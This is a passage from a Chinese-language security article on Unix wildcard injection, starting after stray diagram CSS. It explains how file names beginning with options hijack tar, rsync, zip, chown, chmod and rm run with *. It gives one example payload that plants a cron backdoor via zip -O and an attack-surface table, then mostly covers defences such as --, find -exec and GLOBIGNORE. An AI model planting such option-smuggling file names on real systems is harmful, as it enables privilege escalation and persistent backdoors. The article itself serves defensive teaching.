.label{text-anchor:middle;}#mermaid-svg-iF24QFWDqmHPDbD4 .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-iF24QFWDqmHPDbD4 .rough-node .label,#mermaid-svg-iF24QFWDqmHPDbD4 .node .label,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape .label,#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape .label{text-align:center;}#mermaid-svg-iF24QFWDqmHPDbD4 .node.clickable{cursor:pointer;}#mermaid-svg-iF24QFWDqmHPDbD4 .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-iF24QFWDqmHPDbD4 .arrowheadPath{fill:#333333;}#mermaid-svg-iF24QFWDqmHPDbD4 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-iF24QFWDqmHPDbD4 .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-iF24QFWDqmHPDbD4 .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-iF24QFWDqmHPDbD4 .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-iF24QFWDqmHPDbD4 .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-iF24QFWDqmHPDbD4 .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster text{fill:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster span{color:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-iF24QFWDqmHPDbD4 .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 rect.text{fill:none;stroke-width:0;}#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape p,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape .label rect,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-iF24QFWDqmHPDbD4 .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-iF24QFWDqmHPDbD4 .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-iF24QFWDqmHPDbD4 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 命令执行向量
构造 -T -TT 文件名
zip 执行完整性测试
执行 sh a.txt
提权
4.3.2 任意文件写入:-O 参数注入
zip 的 -O(--out)参数可重定向输出路径。攻击者构造包含 -O 的文件名:
bash
touch -- "-O /etc/cron.d/backdoor"
当 root 执行 zip backup.zip * 时,输出被重定向到 /etc/cron.d/backdoor,若配合精心构造的 zip 内容,可实现 cron 后门植入。
5. 攻击面总结与利用场景
| 命令 | 注入参数 | 攻击效果 | 利用条件 |
|---|---|---|---|
rm |
-rf |
递归强制删除 | 目录可写 |
chown |
--reference= |
文件属主劫持 | 目录可写 + root 执行 |
chmod |
--reference= / -R |
权限篡改 | 目录可写 + root 执行 |
tar |
--checkpoint / --checkpoint-action |
任意命令执行 | 目录可写 + 定时任务/脚本 |
rsync |
-e |
远程 Shell 执行 | 目录可写 + 含通配符的 rsync |
zip |
-T / -TT / -O |
命令执行 / 文件覆盖 | 目录可写 + 含通配符的 zip |
典型利用场景
- Web 上传目录:攻击者上传含恶意文件名的文件,等待管理员执行备份脚本
- 共享目录 :多用户可写的目录(如
/tmp、/var/www/uploads) - Cron 定时任务 :
*/10 * * * * cd /backup && tar czf backup.tar.gz * - CI/CD 流水线:构建脚本中使用通配符打包源码
6. 防御方案
6.1 根本修复:避免通配符与文件名混合
bash
# ❌ 危险
tar czf backup.tar.gz *
# ✅ 安全:使用 -- 终止参数解析
tar czf backup.tar.gz -- *
# ✅ 更安全:显式指定文件或使用 find
find . -maxdepth 1 -type f -exec tar czf backup.tar.gz {} +
6.2 各命令专项防御
| 命令 | 安全用法 |
|---|---|
tar |
tar czf backup.tar.gz -- * 或 tar czf backup.tar.gz . |
rsync |
rsync -t -- *.c backup:/srv/ |
zip |
zip backup.zip -- * |
chown |
chown -R nobody:nobody -- *.php |
chmod |
chmod 000 -- * |
6.3 系统级加固
bash
# 1. 限制可写目录的执行权限
chmod 1777 /tmp # sticky bit
# 2. 使用 chroot 或容器隔离文件系统
# 3. 审计脚本中的通配符使用
grep -rn '\*' /etc/cron* /var/spool/cron/
# 4. 设置 GLOBIGNORE 排除以 - 开头的文件(bash)
export GLOBIGNORE='-*'
6.4 开发规范
- 永远不要在脚本中使用裸通配符处理用户可控目录
- 使用
--明确分隔选项与文件名 - 对文件名进行白名单校验,拒绝以
-开头的文件名 - 优先使用
find的-exec或管道配合xargs -0
7. 结论
通配符注入是一种"返璞归真"的攻击技术,它不需要复杂的漏洞利用链,却能在特定场景下造成与内核漏洞同等级别的危害。其核心原因在于 Unix 命令行接口将"选项通道"与"文件名通道"混为一谈,而通配符展开恰好是打破这一边界的桥梁。
对于红队而言,通配符注入是权限提升和横向移动的隐蔽武器;对于蓝队而言,审计脚本中的通配符使用、加固可写目录权限、推广 -- 最佳实践,是降低此类风险的关键。
正如原始论文作者 Leon Juranic 所言:"这不是关于现代黑客技术,而是关于 Unix shell 黑客------带我们 straight back to the 80's。" 在容器化、DevOps 盛行的今天,那些隐藏在 tar * 和 rsync *.c 中的古老陷阱,依然值得每一位安全从业者警惕。
参考文献
Juranic, L. (2014). Back To The Future: Unix Wildcards Gone Wild. Exploit-DB, EDB-ID: 33930.